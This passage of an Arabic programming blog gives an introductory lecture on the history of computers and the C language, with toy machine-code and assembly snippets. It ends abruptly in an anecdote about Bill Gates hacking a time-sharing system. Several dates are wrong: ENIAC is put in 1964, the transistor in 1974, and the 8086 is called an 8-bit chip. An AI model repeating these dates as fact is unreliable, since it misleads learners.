البرنامج يشتغل كما موضح بالصوره بالاسفل . <o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-XTIgYzY4H0A/T99uwgtkXhI/AAAAAAAAARY/bmn0y-KWEGc/s1600/Hello.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="360" src="http://4.bp.blogspot.com/-XTIgYzY4H0A/T99uwgtkXhI/AAAAAAAAARY/bmn0y-KWEGc/s640/Hello.png" width="640" /></a></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span style="font-size: 19px;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14pt;">ولو
ضغطنا علي اي زرار البرنامج هيقفل لوحده . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div align="right" class="MsoNormal" style="text-align: right;">
<span dir="LTR"></span><b><u><span style="color: #ff6600; font-size: 14pt;"><span dir="LTR"></span>:Assignment
: <o:p></o:p></span></u></b></div>
<div align="right" class="MsoNormal" style="text-align: right;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<b><span lang="AR-EG" style="font-size: 14pt;">طبعا
شفتم الامثله اللي موجوده وخصوصا الدوال الرياضيه . حاليا محتاج منكم تكتبوا
برنامج بيطبق </span></b><b><span dir="LTR" style="font-size: 14pt;">sin(70) </span></b><span dir="RTL"></span><b><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> .. يعني
بيجيب </span></b><b><span dir="LTR" style="font-size: 14pt;">sin </span></b><span dir="RTL"></span><b><span lang="AR-EG" style="font-size: 14pt;"><span dir="RTL"></span> للزاويه 70 . </span></b><span dir="LTR"></span><b><span dir="LTR" style="font-family: Wingdings; font-size: 14pt;"><span dir="LTR"></span>J</span></b><b><span lang="AR-EG" style="font-size: 14pt;"><o:p></o:p></span></b></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span style="font-size: 19px;"><b><br /></b></span></div>
<div class="MsoNormal" dir="RTL" style="direction: ltr; text-align: left; unicode-bidi: embed;">
<span style="font-size: 19px;"><b><u><span style="color: red;">You can download PDF From </span><span style="color: blue;"><a href="http://www.blogger.com/goog_304838301">Here</a></span><span style="color: red;"><a href="https://www.box.com/s/57372aeb10386e6e1997"> </a>Or </span><span style="color: #f6b26b;"><a href="http://www.mediafire.com/?fb7d8xr76lj5r2y">Here</a></span><span style="color: red;"> </span></u></b></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: left; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<br /></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<b><span dir="LTR" style="color: olive; font-size: 16pt;">With my best wishes<o:p></o:p></span></b></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<b><span dir="LTR" style="color: red; font-size: 11pt;">Ahmed Sherif<o:p></o:p></span></b></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span style="font-size: 15px;"><b><br /></b></span></div>
<br />
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
</div>Anonymoushttp://www.blogger.com/profile/12539100610108911202noreply@blogger.com0tag:blogger.com,1999:blog-196454505171129982.post-52738514921289780292012-06-16T12:31:00.000-07:002012-06-16T12:57:59.919-07:00Lecture 1 - Introduction for C programming language<div dir="rtl" style="text-align: right;" trbidi="on">
<br />
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: center; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-oqRB2c5Nhck/T9zfvXONo5I/AAAAAAAAAOs/1owbXuRZBxc/s1600/cover.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="239" src="http://1.bp.blogspot.com/-oqRB2c5Nhck/T9zfvXONo5I/AAAAAAAAAOs/1owbXuRZBxc/s320/cover.jpg" width="320" /></a></div>
<span style="color: #ff9900;"><u><br /></u></span></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: center; unicode-bidi: embed;">
<br /></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: center; unicode-bidi: embed;">
<br /></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: center; unicode-bidi: embed;">
<br /></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: center; unicode-bidi: embed;">
<br /></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: center; unicode-bidi: embed;">
<u><span dir="LTR" style="color: #ff9900;">History of computers (Hardware)<o:p></o:p></span></u></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: center; unicode-bidi: embed;">
<span dir="RTL"></span><u><span lang="AR-EG" style="color: #ff9900;"><span dir="RTL"></span>- تاريخ
اجهزة الحاسب<o:p></o:p></span></u></div>
<div align="right" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: left; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG">طبعا حبيت قبل ما أتكلم
عن لغة الـ </span><span dir="LTR">C </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> وتاريخها . لازم نعرف ازاي بدأت اجهزة الحاسب
وكيف تم تطويرها الي ان وصلت لهذا التقدم . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG">طبعا مش عايز ارجع
بالتاريخ اوي من اول الاجهزه الميكانيكيه ولكن هنبدأ من اول حاسب رقمي الكتروني . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
-<span style="font-size: 7pt;">
</span><span dir="RTL"><span lang="AR-EG">في عام 1964 بدأ اول حاسب رقمي الكتروني في العمل تحت اسم (</span></span><span dir="LTR">ENIAC – Electronic Numerical and
Calculator ) </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> يستخدم نظاما
خارجيا لدوائر التبديل والتوصيل لبرمجته . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-g8oLJE0KaBU/T9zf3FJxVRI/AAAAAAAAAPE/vPoXyFN0Cwg/s1600/eniac4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="208" src="http://2.bp.blogspot.com/-g8oLJE0KaBU/T9zf3FJxVRI/AAAAAAAAAPE/vPoXyFN0Cwg/s320/eniac4.jpg" width="320" /></a></div>
<i><br /></i></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
-<span style="font-size: 7pt;">
</span><span dir="RTL"><span lang="AR-EG" style="color: #ff9900;">الترانزستور : </span></span><span lang="AR-EG">في عام 1974 ظهر الترانزستور وتم اختراعها في
معامل بل علي يد ثلاثه من العلماء هم (جون باردين ووالتر براتين ووليام شوكلي )
وحصلوا علي جايزة نوبل . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
-<span style="font-size: 7pt;">
</span><span dir="RTL"><span lang="AR-EG" style="color: #ff6600;">الجيل التالت (1970-1964) الدوائر المتكامله : </span></span><span lang="AR-EG">في عام 1958 قام د.جاك كليبي بتصميم
اول دائره الكترونيه متكامله وتكونت من عدة مكونات من السليكون مجمعة مع بعضها البعض
لتجميع دائره الكترونيه علي شريحة سليكون واحده سمح بتطويرها بعد ذلك . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
-<span style="font-size: 7pt;">
</span><span dir="RTL"><span lang="AR-EG" style="color: #ff6600;">ميني حاسب (1963) :</span></span><span lang="AR-EG"> في هذا العام تم بنجاح توزيع اول
ميني حاسب تجاري قامت بانتاجه وتوزيعه شركة </span><span dir="LTR">DEC </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> وكان هذا الانتاج تحت اسم </span><span dir="LTR">PDP-8 </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> وكانت نسخه ناجحه .</span><span dir="LTR"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
-<span style="font-size: 7pt;">
</span><span dir="RTL"><span lang="AR-EG" style="color: #ff6600;">نظام اي بي ام والجيل التالت :</span></span><span lang="AR-EG"> في عام 1964 اتمت شركة</span><span dir="LTR"></span><span dir="LTR"><span dir="LTR"></span>
IBM</span><span lang="AR-EG">عائلة نظم 360 بعد
استبدال النظام 260 بالترانزستور والدوائر المتكامله وقد تم بيع اكثر من ثلاثين
الف نسخه . وبعد شهر من هذا الانتاج كانت برامج لغة البيزيك تعمل في كلية دارتمواث
علي يد مخترعها توماس كيريس وجون كيمني واصبحت من اقوي اللغات وقتها .</span><span dir="LTR"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
<span style="color: #ff6600;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: #ff6600;">الجيل الرابع (1990-1971) جيل الميكروبروسيسور :
</span></span><span lang="AR-EG">في عام 1971 ظهر
الحاسب الشخصي الاول ولم يكن يسمي بالحاسب الشخصي كان اسمه وقتها (</span><span dir="LTR" style="background-color: white; font-family: Arial; font-size: 9pt;">Kenbak-1</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span>)
وله ذاكره قدرها 256 بايت وتظهر البيانات علي شكل مجموعة لمبات بيان ولم يتم بيع
سوي 40 قطعه من هذا الجهاز</span><span dir="LTR"></span><span dir="LTR" lang="AR-EG"><span dir="LTR"></span> </span><span lang="AR-EG">بسبب ارتفاع سعره لكنه ساهم في الاعداد لثورة
الحاسب الشخصي التي اعقبت هذا التاريخ . </span><span dir="LTR" style="color: #ff6600;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
<span style="color: #ff6600;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: #ff6600;">وفي عام 1974 ايضا : </span></span><span lang="AR-EG">قامت شركة انتل بالاعلان عن المعالج
8086 يعمل علي نظام 8 بت كأول معالج عام الاغراض.</span><span dir="LTR" style="color: #ff6600;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.25in; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.25in; unicode-bidi: embed;">
<span lang="AR-EG">حبيت بس اوضح تاريخ بدايات الحاسب وطبعا هو اكبر من كده بكتير ولكني اختصرت
وخدت اللي يهمنا منه . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.25in; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.25in; unicode-bidi: embed;">
<u><span lang="AR-EG" style="color: #ff6600; font-size: 14pt;">تاريخ لغة الـ </span></u><u><span dir="LTR" style="color: #ff6600; font-size: 14pt;">C <o:p></o:p></span></u></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.25in; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.25in; unicode-bidi: embed;">
<span lang="AR-EG">بدأت لغة الـ </span><span dir="LTR">C </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> علي يد العالم </span><span dir="LTR">Dennis Ritchie </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> عام 1970 ومازلت اللغه الاقوي والمستخدمه حتي
الان فهي تستخدم في انظمة التشغيل والميكروكنترولر والجرافيكس والبرامج . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.25in; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-WQlSbayR4B0/T9zfdOVzj5I/AAAAAAAAANE/3ptw5P6m5EQ/s1600/-Dennis-Ritchie-007.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="http://1.bp.blogspot.com/-WQlSbayR4B0/T9zfdOVzj5I/AAAAAAAAANE/3ptw5P6m5EQ/s320/-Dennis-Ritchie-007.jpg" width="320" /></a></div>
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.25in; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.25in; unicode-bidi: embed;">
<u><span lang="AR-EG" style="color: #ff6600; font-size: 14pt;">ليه مش بنتعامل مع الكمبيوتر بالانجليزي
؟؟<o:p></o:p></span></u></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.25in; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.25in; unicode-bidi: embed;">
<span lang="AR-EG">سؤال غريب قريته في احد الكتب ... ليه مش ممكن نكتب برامجنا ونتعامل مع
الكمبيوتر بالانجليزي يعني مثل اقول للجهاز "</span><span dir="LTR"></span><span dir="LTR" lang="AR-EG"><span dir="LTR"></span> </span><span dir="LTR">Clean history and then go to web browser then open website and so on</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> "
طبعا سؤال كان غريب شويه ولكنه منطقي بدل ما نبهدل نفسنا في حفظ لغات برمجه
وفهمها كان ممكن نكلم الكمبيوتر بالانجليزي . طبعا ردت علي الاسئله دي </span><span dir="LTR">Grace Hopper </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> ودي كانت اول عالمة حاسب . <o:p></o:p></span></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: .25in; text-align: center; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-odPP88mhfEs/T9zfkvdPwSI/AAAAAAAAANs/SuF2I_2g1Aw/s1600/GraceHopper.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-odPP88mhfEs/T9zfkvdPwSI/AAAAAAAAANs/SuF2I_2g1Aw/s1600/GraceHopper.jpg" /></a></div>
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.25in; unicode-bidi: embed;">
<span lang="AR-EG">قالت انه في اللغه الانجليزيه فيه مصطلحات كتير جدا ومنقدرش اننا نكلم
الكمبيوتر بالانجليزي لانها لغه مليئه بكثير من التعبيرات والكلمات الغريبه واللي
ممكن الكمبيوتر يفهمها غلط وبالتالي تحدث اخطاء اثناء تطبيق البرنامج . يعني لو
رجعنا للمثال اللي انا كتبته مثلا " اول جمله قولتله </span><span dir="LTR">Clear history </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> كان ممكن اقول </span><span dir="LTR">Delete history or remove history </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> وهكذا وبالتالي فصعب جدا انتاج لغه انجليزيه
للحاسب . لكن من حوالي سنه اعتقد انه فيه لغة برمجه اخترعت لبرمجة الكمبيوتر
باللغه العربيه ولكن طبعا مازالت تحت التطوير اسمها لغة "جيم " - </span><a href="http://www.jeemlang.com/"><span dir="LTR">http://www.jeemlang.com/</span></a><span dir="RTL"></span><span lang="AR-SA"><span dir="RTL"></span> . ولكن طبعا اللغه ضعيفه وعمرها ماهتبقي بنفس
قوة لغات البرمجه الاخري . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.25in; unicode-bidi: embed;">
<br /></div>
<div align="right" class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: .5in; text-align: left; unicode-bidi: embed;">
<span lang="AR-EG">اوائل اجهزة الحاسب كانت مكلفه للغايه وبالتالي المبرمجين كانوا بيقبضوا حوالي
15.000$ في السنه لانه وقتها كان الحاسب بيتبرمج بلغة الاله – </span><span dir="LTR"></span><span dir="LTR"><span dir="LTR"></span>- machine code</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> يعني الكمبيوتر
مكنش بيفهم غير 1 و 0 وبالتالي كانت البرمجه صعبه جدا وبتاخد مجهود ووقت ... مثال لكود مكتوب بلغة الاله : <u><o:p></o:p></u></span></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; margin-left: .5in; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 5.65in;" valign="top" width="542"><div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: .25in; text-align: right; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="LTR" style="margin-left: .25in;">
<span dir="RTL" lang="AR-EG" style="color: lime;">1010 111</span><span dir="LTR"></span><span style="color: lime;"><span dir="LTR"></span>1<span dir="RTL"></span><span dir="RTL"><span dir="RTL"></span> </span><span dir="LTR"></span><span dir="LTR"></span>..<span dir="RTL" lang="AR-EG"><o:p></o:p></span></span></div>
<div class="MsoNormal" dir="LTR" style="margin-left: .25in;">
<span dir="RTL" lang="AR-EG" style="color: lime;">0111 0011</span><span style="color: lime;"><o:p></o:p></span></div>
<div align="right" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: left; unicode-bidi: embed;">
<span dir="LTR" style="color: lime;"> 0111 0001<o:p></o:p></span></div>
<div align="right" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: left; unicode-bidi: embed;">
<span dir="LTR" style="color: lime;"> And so on .., </span><u><span dir="LTR"><o:p></o:p></span></u></div>
</td>
</tr>
</tbody></table>
</div>
<div align="right" class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: .5in; text-align: left; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<span lang="AR-EG">طبعا الموضوع كان صعب علي المبرمجين فبالرغم انه لغة الاله – الارقام – هي
سهله للكمبيوتر الا انها صعبه علي الانسان .. المبرمجين وقتها كانوا بيكتبوا برامجهم
بلغة الاسمبلي – </span><span dir="LTR">Assembly
language - </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> ولغة
الاسمبلي كل جمله فيها بتتحط في سطر لوحدها وبيتم ترجمتها يدويا الي لغة الاله – </span><span dir="LTR">Binary - </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> 0 او 1 مثال علي كود مكتوب بالاسمبلي : <o:p></o:p></span></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="LTR">
<span style="color: #99cc00; font-size: 14pt;">Program Translation <o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<span style="color: #99cc00; font-size: 11pt;">MOV A,74 010 1111<o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<span style="color: #99cc00; font-size: 11pt;">ADD A,B 0011 0111<o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<span style="color: #99cc00; font-size: 11pt;">Halt 0111
0110<o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<br /></div>
<div class="MsoNormal" dir="LTR">
<span dir="RTL" lang="AR-EG" style="font-size: 11pt;">والي اخره من الاوامر .<o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<br /></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-BSC1sXoGvag/T9zgKT1ZQsI/AAAAAAAAAQs/idi_9KF3D04/s1600/translation.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="96" src="http://4.bp.blogspot.com/-BSC1sXoGvag/T9zgKT1ZQsI/AAAAAAAAAQs/idi_9KF3D04/s320/translation.jpg" width="320" /></a></div>
<span dir="RTL"></span><span dir="RTL"></span> </div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: .5in; text-align: center; unicode-bidi: embed;">
<b><span lang="AR-EG" style="color: #cc99ff;">صورة توضيحيه لعملية الترجمه بين الاسمبلي ولغة الاّله .<o:p></o:p></span></b></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<span lang="AR-EG">وطبعا كانت مشاكل كتير بتواجه المبرمجين بسبب الترجمه اليدويه دي . غير انه
لو حاول بس يطور برنامج او يعدل فيه بيحتاج انه يكتب الاكواد من اول وجديد ويعيد
صياغتها . <o:p></o:p></span></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; margin-left: .5in; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="color: red;">ملحوظه : مش
عايز حد يقولي ياخد الاكواد </span><span dir="LTR" style="color: red;">copy – paste </span><span dir="RTL"></span><span lang="AR-EG" style="color: red;"><span dir="RTL"></span> لان ساعتها مكنش فيه الكلام دا </span><span dir="LTR"></span><span dir="LTR" style="color: red; font-family: Wingdings;"><span dir="LTR"></span>J</span><span lang="AR-EG" style="color: red;"><o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<span lang="AR-EG">في الوقت دا فكر مهندس برمجيات في احد الشركات انه يخلي الكمبيوتر هو اللي
يترجم الاكواد بدل ما كل مبرمج يقعد يترجم يدويا ويحول من اسمبلي للغة اّله .
فاخترع حاجه اسمها </span><span dir="LTR">Assembler
</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> ودي بتعمل نفس اللي بيعمله
المبرمج وهو الترجمه . طبعا المهندس دا راح لمدير الشركة علشان يعرض عليه الاختراع
دا ولكن كانت المقابله سيئه للغايه كما ذُكر في كتاب "</span><span dir="LTR">O’Relly C programming 3<sup>rd</sup> edition </span><span dir="RTL"></span><span dir="RTL"></span> <span dir="LTR"></span><span dir="LTR"><span dir="LTR"></span> “ </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span>. فكان رد
المدير علي المهندس دا " ازاي تجرؤ انك حتي تفكر تستخدم اّله غاليه زي دي في
مجرد تجارب فاشله وقد كلفت الشركة تمن هذه الساعه التي يعمل بها هذا الجهاز "
. طبعا ساعتها الاجهزه كانت غاليه جدا دا غير انها كانت ممكن تشتغل نص ساعه اخرها</span><span dir="LTR"></span><span dir="LTR" style="font-family: Wingdings;"><span dir="LTR"></span>J</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span>
فكان الوقت فيها بحساب . وكان المهندس دا شايف انه لو فكرته نجحت يبقي احنا كده
هنقدر نوفر تمن الساعه اللي بيقعدها المبرمج لترجمة الاوامر وياخد عليها فلوس وجهاز الحاسب هو اللي هيقوم بالوظيفه دي . ولحسن
الحظ بدات اسعار المبرمجين هي اللي تطلع واسعار اجهزة الحاسب هي اللي تنزل
وبالتالي بدأت فكرة الـ </span><span dir="LTR">Assembler
</span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> و بدأت تُستخدم علي نطاق
واسع . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<u><span lang="AR-EG" style="color: red;">ظهور لغات البرمجه ذات المستوي العالي – </span></u><span dir="LTR"></span><u><span dir="LTR" style="color: red;"><span dir="LTR"></span>: High Level Language <o:p></o:p></span></u></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<span lang="AR-EG">طبعا بعد نجاح فكرة الـ </span><span dir="LTR">Assembler </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> ووجدوا انها
موفره وعمليه بدأو في التفكير لاختراع لغه اقرب للانسان فكما لاحظنا في لغة
الاسمبلي ان كل جمله بتكتب في سطر الا انها غير مألوفه للانسان ايضا فحاول علماء
الحاسب انهم يوجدوا طريقه بحيث تكون قريبه من الانسان وهيستخدموا نفس مبدأ الـ </span><span dir="LTR">Assembler </span><span lang="AR-EG">معاها .
من اوائل لغات البرمجه العاليه التي تم اختراعها كانت </span><span dir="LTR">FORTRAN </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> وهي صممت للعمليات الحسابيه وبعدها لغة الـ </span><span dir="LTR">COBOL </span><span dir="RTL"></span><span lang="AR-EG"><span dir="RTL"></span> والتي كان غرضها كتابة التقارير التجاريه ولغة
الـ </span><span dir="LTR">PASCAL </span><span lang="AR-EG">والتي صممت من اجل الطلبه في الجامعات
.<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; unicode-bidi: embed;">
<br /></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="color: green;">ملحوظه :
بدأ بيل جيتس حياته من خلال لغة الـ </span><span dir="LTR" style="color: green;">BASIC </span><span dir="RTL"></span><span lang="AR-EG" style="color: green;"><span dir="RTL"></span> التي تعلمها حينما كان طالبا باحد الجامعات
فقد كانت اجهزة الحاسب وقتها باهظة الثمن ولذلك قررت الجامعه بالاتفاق مع احدي
شركات الحاسب توفير اجهزة حاسب من خلال مدد زمنيه يتم الدفع من خلالها . – يعني
كانت مثلا الشركه دي بتوفر للمدرسه مدة استخدام الحاسب اسبوع ولهم حسابات خاصه
بتنتهي بعد الاسبوع – ولكن نظرا لان بيل جيتس كان شغوفا بالحاسب فقد استطاع
اختراق انظمة تلك الشركه واستطاع انه ياخد مدد اطول وكان له صديق يدعي بول اّلن
استطاعوا سويا تعطيل نظام الشركه بالكامل مما ادي الي حرمان الشركه للمدرسه
